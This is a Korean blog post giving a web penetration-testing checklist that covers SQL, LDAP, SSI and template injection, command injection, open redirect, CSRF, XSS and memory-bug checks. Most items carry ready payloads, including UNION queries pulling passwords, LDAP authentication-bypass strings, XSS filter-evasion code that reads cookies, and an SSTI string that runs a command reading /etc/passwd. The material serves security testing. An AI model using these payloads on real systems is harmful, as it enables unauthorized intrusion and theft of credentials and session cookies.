티스토리 뷰
※ 일반적인 점검 방법이며, 양호/취약 여부는 사이트에 따라 다르게 적용,논의될 수 있습니다.
항목 | SQL Injection |
대상 | 모든 대상 |
항목 설명 | o 사용자가 간섭 가능한 매개변수(URL 파라미터, XML 등)에 의해 SQL 질의문이 완성되는 점을 이용하여, 해당 매개변수 변조를 통해 비정상 질의 가능 여부를 점검 |
점검 기준 | - URL 파라미터 또는 XML 등 입력하는 부분에 SQL 구문 입력 후 서버에서 응답한 값에 대한 위험성 점검 - SQL문으로 해석될 수 있는 값(글번호, 검색 내용 등)을 입력하여 데이터베이스내에 저장된 정보 열람 및 시스템 명령 실행가능 여부 점검 - 조작된 XPath 쿼리를 보내어 비정상적인 질의 가능 여부 점검 등 |
점검 방법 | ※ SQL Injection의 경우 공격 방식이 매우 다양하여 특수문자 및 쿼리 삽입 후 응답 값에 따라 추가 진행 (아래 사항은 참고자료로 서비스,환경 등의 다양한 요인에 따라 유효성 검증은 상이할 수 있음) 1. SQL 동작 확인 구문 ' ` # $ % ^ & ' or 1=1# ' or 1=1-- AND 1=1-- AND 1=0-- AND 1=1# AND 1=0# 2. 오류메시지로 테이블명 및 컬럼명 확인 HAVING 1=0# HAVING 1=1-- 3. USER 테이블 조회 UNION ALL SELECT USER()-- UNION ALL SELECT USER()# 4. 컬럼 개수 확인 ORDER BY 1-- ORDER BY 2-- ORDER BY 1# ORDER BY 2# 5. 그외 - 게시글 조회 SELECT * FROM Board WHERE title LIKE '% ' UNION SELECT null,id,passwd FROM Users -- INPUT%' OR contents '%INPUT%' - Blinde SQL Injection SELECT * FROM Users WHERE id = 'abc123' and ASCII(SUBSTR((SELECT name FROM information_schema.tables WHERE table_type='base table' limit 0,1),1,1)) > 100 (로그인이 될 때까지 시도) -- INPUT1' AND password = 'INPUT2' |
항목 | 운영체제 명령실행 |
대상 | 명령 실행 기능 대상 |
항목 설명 | o 운영체제 내 임의 명령어 실행이 가능한 인터페이스의 존재 여부를 점검 |
점검 기준 | - 내부 서버에 명령어를 내릴 수 있는 인터페이스가 존재할 경우, 지정된 명령어 이외의 임의 명령 실행 가능 여부 점검 등 |
점검 방법 | 1. 명령 실행을 위한 특수문자 삽입 -1. &: 윈도우 명령어 해석기에서 첫 번째 명령이 성공했을 경우만 두 번째 명령어를 실행 -2. |: 첫 번째 명령어가 성공하는지에 상관없이 두 번째 명령어를 실행 -3. `: 쉘 해석기가 명령어를 해석하다 역 작은따옴표(`) 내에 포함된 명령어를 만나면 기존 명령어를 계속 실행하기 전에 역 작은따옴표로 둘러싸인 명령어를 먼저 실행 -4. ;: 유닉스 계열 시스템에서 단일 라인에서 복수의 명령어 실행에 사용 2. 특수문자 우회(URL 인코딩) -1. |: %7c -2. &: %26 -3. `: %60 -4. ;: %3b 3. 점검용 명령어 -1. whoami: 현재 로그인 한 사용자 아이디 확인 -2. uname –a: 운영체제, 호스트 이름, 시스템 사양 확인 -3. ls –al: 현재 디렉토리 위치의 모든 디렉토리 및 파일 리스트 및 권한 출력 -4. ifconfig: 네트워크 인터페이스 출력 -5. ping: ICMP를 이용하여 패킷을 보내고 응답을 받아 네트워크 상태를 확인 -6. echo: 입력한 문자열을 출력 |
항목 | 리다이렉트 기능을 이용한 피싱 공격 |
대상 | 모든 대상 |
항목 설명 | o 리다이렉트 기능이 존재 시 URL 인자값에 대한 검증 누락으로 인해 임의페이지로 이동 가능성이 존재 하여 해당 기능 및 인자값 검증 여부를 점검 |
점검 기준 | - 리다이렉트 기능이 존재할 경우 URL 인자값을 임의의 페이지로 지정하여 이동 가능 여부 점검 등 |
점검 방법 | 1. 리다이렉트 동작 확인 1) 리다이렉트 파라미터 확인 (ex. RetunURL) 2) 아래 값을 삽입하여 리다이렉트 동작 확인 A) https://naver.com (예시로 작성한 URL이며, 타 오픈된 URL 모두 가능) B) http://naver.com C) naver.com 2. URL 인코딩을 통한 우회 1) 리다이렉트 파라미터 확인 2) 아래와 같은 방법으로 리다이렉트 동작 확인 A) %68%74%74%70%73%3a%2f%2f%6e%61%76%65%72%2e%63%6f%6d B) %68%74%74%70%3a%2f%2f%6e%61%76%65%72%2e%63%6f%6d C) %6e%61%76%65%72%2e%63%6f%6d ※ XSS과 연계 공격 가능 |
항목 | LDAP Injection |
대상 | 모든 대상 |
항목 설명 | o 이용자 입력을 기반으로 LDAP(Lightweight Directory Access Protocol) 구문을 구축하여 웹 기반 응용 프로그램 악용 여부를 점검 |
점검 기준 | - 쿼리를 주입함으로써 개인정보 등의 내용이 유출 가능 여부 점검 - 입력 값에 대해 특수문자(=, +, <, >, #, ;, / 등)를 입력하여 LDAP 명령어가 실행되는지 여부 점검 등 |
점검 방법 | 1. LDAP 동작 확인 구문 * *)(& *))%00 )(cn=))\x00 *()|%26' *()|&' *(|(mail=*)) *(|(objectclass=*)) *)(uid=*))(|(uid=* */* *| / // //* @* | 2. 인증 우회 구문 admin* admin*)((|userpassword=*) admin*)((|userPassword=*) x' or name()='username' or 'x'='y |
항목 | SSI Injection |
대상 | 모든 대상 |
항목 설명 | o CGI 또는 서버사이드 스크립트를 통해 만들어진 웹사이트에서 입력값에 부적절한 명령문을 삽입하여 실행 가능 여부를 점검 |
점검 기준 | - 변수(입력값) 값에 부적절한 명령문을 삽입하여 실행 가능 여부 점검 |
점검 방법 | 1. SSI Injection 공격 구문 <!--#echo var = "DATE_LOCAL" --> <!--#echo var="DOCUMENT_NAME"--> <!--#exec cmd="ls" --> <!--#exec cmd="dir"--> |
항목 | 버퍼오버플로우(Buffer Overflow Attack) |
대상 | C언어 구현 대상 |
항목 설명 | o C언어의 strcpy, gets 등과 같이 버퍼의 경계 검사를 하지 않는 취약한 함수를 사용함으로써 발생되는 취약점으로, 해당 취약점을 통해 시스템 권한 획득, 프로그램 흐름 변경 등의 악의적인 행위 가능 여부를 점검 |
점검 기준 | - 파라미터 입력 값에 허용 이상의 데이터 삽입 시 결함 발생 여부 점검 등 |
점검 방법 | 1. 입력값 길이 제한 적절성 확인 1) 입력 값에 큰 길이의 문자 삽입 후 에러 페이지 또는 오류 발생 확인 A) testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest… ※ 텍스트 필드에 입력 값 검증(특수문자 제한, maxlength 등)이 설정된 경우 우회 시도 필요 (예: 로컬 프록시를 사용하여 요청 시 파라미터 값에 대량의 문자열 직접 입력 등) |
항목 | 포멧스트링(Format String Attack) |
대상 | C언어 구현 대상 |
항목 설명 | o C언어의 printf와 같은 함수에서 검증되지 않은 입력값을 사용함으로써 발생되는 취약점으로, 해당 취약점을 통해 다른 메모리 공간에 대한 접근 가능 여부를 점검 |
점검 기준 | * (평가 예시) - printf 와 같은 취약한 함수 사용 시 별도의 문자열 검증 수행 여부 점검 등 |
점검 방법 | 1. 입력값에 포맷 값 삽입 1) 입력값 포맷 제한 확인 A) %n%n%n%n%n%n%n%n%n%n%n… B) %s%s%s%s%s%s%s%s%s%s%s%s… ※ %n 은 이전까지 입력되었던 문자열의 길이(Byte)수 만큼 해당 변수에 저장시키기 때문에 메모리의 내용도 변조 가능하므로 Format String 취약점에서 핵심이기도 함. 문자열의 길이를 변조시키고 싶은 값의 길이만큼 만든 후 %n을 써주게 되면 메모리상에 공격자가 원하는 값을 넣을 수 있게 됨 |
항목 | 크로스사이트 요청 변조(CSRF) |
대상 | 모든 대상 |
항목 설명 | o 공격자가 업로드 한 악의적 행위 구문으로 인해 타 이용자의 권한 도용이 가능한지에 대한 점검 |
점검 기준 | - 타 이용자의 권한으로 실행하고자 하는 구문*을 업로드 후 해당 이용자 권한으로 구문이 실행되는지 가능 여부 점검 등 |
점검 방법 | 1. CSRF 공격 절차 1) Stored XSS 취약점이 존재하는 페이지 접근 2) 수정이나 권한 부여 등의 기능 함수 삽입 A) Click Me B) <form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"> <input name="username" type="hidden" value="CSRFd" /> <input type="submit" value="Submit Request" /> </form> 3) 취약한 게시글 접근 시 함수 타인의 권한으로 기능이 실행되는지 확인 2. 타 사이트 CSRF 공격 절차 1) 공격 대상 페이지에 Referer 검증을 수행하고 있는지 확인 2) Stored XSS 취약점이 존재하는 타 사이트 페이지 접근 3) 수정이나 권한 부여 등의 기능 함수 삽입 A) Click Me B) <form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"> <input name="username" type="hidden" value="CSRFd" /> <input type="submit" value="Submit Request" /> </form> ※ Stroed XSS 경로 - 타 사이트 / CSRF 경로 - 공격 대상 사이트 4) 취약한 게시글 접근 시 함수 타인의 권한으로 기능이 실행되는지 확인 |
항목 | 크로스 사이트 스크립팅(XSS) |
대상 | 모든 대상 |
항목 설명 | o 공격자가 업로드한 스크립트가 타 이용자의 사용환경(브라우저, 웹뷰 등)에서의 실행 가능 여부를 점검 |
점검 기준 | - 크로스사이트 스크립팅 문자열을 데이터베이스에 저장된 값을 확인할 수 있는 페이지에 업로드 시, 해당 스크립트의 실행 여부 점검 등 |
점검 방법 | 1. 점검 스크립트 Cheat Sheet(소스코드의 구성에 따라 코드는 변경하여 확인 필요) 1) 기본 점검 구문 "/></Script><Script>alert(1)</Script> 2) 이벤트 핸들러 우회 구문 " onclick=alert(2-1)//<button ' onclick=alert(2-2)//> */ alert(2-3)// <Marquee><Img src=x onerror=prompt(3)></Marquee> <A Onmouseover="alert(4)">/> <Form><Button Formaction="Javascript:alert(5)"> <IFRAME SRC=# Onmouseover="alert(6)"></IFRAME> <A Href=javascript:alert(7)>7</a> <Image Src/Onerror=prompt(8)> "Onclick=prompt(9)><Svg/Onload=prompt(9)>"@x.y <X Ondblclick=alert(10)>double click <X Oncopy=alert(11)>copy <Math><brute href=javascript:alert(12)>click <Form><input formaction=javascript:alert(13) type=submit value=click> <Iframe Srcdoc=<Svg/onload=alert(14)>> GIF89a/*<svg/onload=alert(15)>*/=alert(document.domain)//; <Video Onloadstart=alert(16)><Source> <Select Onchange=alert(17)><option>1<option>2 innerHTML=location.hash>#<Script>alert(18)</Script> <Abbr Onmousedown="alert(19)">mouse down</abbr> <style>@keyframes slidein {}</style><label style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(20)"></label>(20)"></label> <svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PS cxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoZG9jdW1lbnQuY29va2llKSIgLz4KPC9zdmc+#x" /></svg> 3) 인코딩 우회 구문 javascript%3Aalert%28%26quot%3B21%26quot%3B%29 1%0d%0a}alert(22);function%20a(){// ";alert(23);// `alert/u002824/u0029`; <IMGSRC=java&<WBR>#115;crip&<WBR>#116;:ale&<WBR>#114;t('XS<WBR>;S')> 4) 필터링 우회 구문 </scrscriptipt><scrscriptipt>alealertrt(1)</scrscriptipt> [꺽쇠 필터 : type이 hidden이 아닐 시] 1. onfocus="alert(document.cookie)" 2. "+onfocus="alert(1)"+autofocus 3. " onload=alert(1) [꺽쇠 필터 : type이 hidden 일 시] 1. "+accesskey="x"+onclick="alert(1) 2. "+accesskey="x"+onclick="location.href='https://test.co.kr' 3. "onmouseover="alalertert(1)"style="display:block;width:100%;height:1000px;"+a=" [type=hidden 이면서 type이 input value보다 뒤에 정의되어 있을 시] 1. "+type="text"+onfocus=alert(45)+autofocus+test=" 2. 점검 우회 패턴 1) 대체문자 삽입 기법 A) 싱글 쿼터, 더블쿼터는 백쿼터로 우회 가능 (Ex. alert('문자열을 입력하고 싶어요') → alert(`이렇게 입력해도 동일하게 문자열이에요`)) B) 싱글 쿼터, 더블쿼터, 백쿼터는 정규표현식으로 우회 가능 (Ex. alert('문자열을 입력하고 싶어요') → alert(/이렇게 입력해도 동일하게 문자열이에요/)) C) 마침표는 대괄호로 우회 가능 (Ex. alert(document.cookie) → alert(document['cookie'])) 2) 인코딩 기법 A) 일부 문자를 다음과 같이 HEX 인코딩으로 우회 가능 (Ex. javascript: → javascript:) B) 특정 HEX 인코딩 문자만(a)을 필터링하는 경우에는 다음과 같이 우회 가능 (Ex. javascript: → javascript:) ※ 위와 같이 HEX 인코딩된 문자는 태그의 속성 값 또는 동적으로 HTML 페이지에 추가 입력되는 경우 원래의 값으로 복원되는 특성이 존재 (상시 점검에서 자주 발생하는 문제) ※ JSTL cout: 을 사용할 수 없기 때문에 상기와 같은 상황에서는 리턴 처리하거나, 해당 파라미터에 유효한 입력 값 형태를 정규표현식으로 정의하여 처리 권고 3) JavaScript 함수 활용 A) 이후에 오는 문자열 필터링의 경우에는 Optional Channing을 활용하여 우회 가능 (Ex. alert(document.cookie) → alert(document?.cookie)) B) with함수로 싱글쿼터, 더블쿼터, 백쿼터 등등을 사용하지 않고 문자열 필터링 우회 가능 (Ex. alert(document.cookie) → alert(with(document){alert(cookie)})) C) eval함수와 atob함수를 조합하면 문자열 필터링 우회 가능 (Ex. alert(document.cookie) → alert(eval("documen".concat("t.c","ookie")))) D) isNaN 또는 Boolean객체로 eval 함수 대체 (Ex. alert(document.cookie) → alert(isNaN[`construct`+`or`](atob(`YWxlcnQoJ1hTUyBWdWxuQEBAQCEnKQ==`))())) 4) 변수에 저장된 값 조합 A) 아래와 같이 변수에 담긴 문자를 조합하여 XSS 페이로드를 제작 (Ex. <svg @/onclick="([,경,,,,호]=[]+{},[나,랏,말,썀,,이,듕,귝,,,에]=[!!경]+!경+경.에)[호+=경+에+귝+나+랏+말+호+나+경+랏][호](이+듕+썀+랏+나+'(eval(`docume`+`nt.cookie`))')()">) ---------------------------------- []{} = [object Object] [!!경] = true !경 = false 경.에 = undefined ---------------------------------- |
항목 | 서버 사이드 템플릿 인젝션(SSTI) |
대상 | 모든 대상 |
항목 설명 | o 서버 사이트 템플릿 인젝션(SSTI)는 웹 서버의 템플릿 엔진이 입력값을 적절하게 처리하지 않아 공격자가 서버 측의 템플릿을 조작할 수 있는 공격 기법으로, 템플릿 엔진에 임의 코드 주입을 통한 원격 코드 실행 등의 위협이 발생될 수 있으므로, 사용자 입력값이 서버측 템플릿 코드에 의해 실행 가능 한지를 점검 |
점검 기준 | - 템플릿 엔진에 임의 코드 주입을 통한 원격 코드 실행 여부 점검 등 - 사용자 입력값이 서버측 템플릿 코드에 의해 실행 가능 한지를 점검 |
점검 방법 | 1. 점검 스크립트 Cheat Sheet 1) 기본 점검 구문 https://[target]/url?payload=fs${34*95}ec https://[target]/url?payload={class.getResource("../../../../../index.htm").getContent()} https://[target]/url?payload={T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} |
'Information Security > Penetration Testing' 카테고리의 다른 글
식별 및 인증 실패 (0) | 2024.06.03 |
---|---|
보안 설정 오류 (4) | 2024.06.02 |
암호화 실패 (0) | 2024.05.31 |
취약한 접근 제어: 권한/인가 (0) | 2024.05.31 |
전자금융기반시설 취약점 분석 평가 점검 기준(웹/모바일) 분류_2024년 기준 (0) | 2024.05.30 |
공지사항
최근에 올라온 글
최근에 달린 댓글
- Total
- Today
- Yesterday
링크
TAG
- 접근제어취약점
- linguisticlumberjack
- cve
- 프리미엄베개
- 전자금융기반시설
- 점검가이드
- 취약점
- neural compressor
- awssap
- 금취분평
- 전자금융기반시설취약점분석평가
- 테크노젤
- 정보보안기획
- RCE
- SAP
- ip전화기
- 디렉터리트레버셜
- 명령어주입
- sw보안약점
- AWS
- 언젠가공개하려나
- 크로스 사이트 스크립트
- 사용자권한상승취약점
- 링귀스틱럼버잭
- 점검항목분류
- 취약점분석평가
- 구현기준
- 무선해킹탐지시스템
- 항목가이드
- 전자금융취약점분석평가
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
글 보관함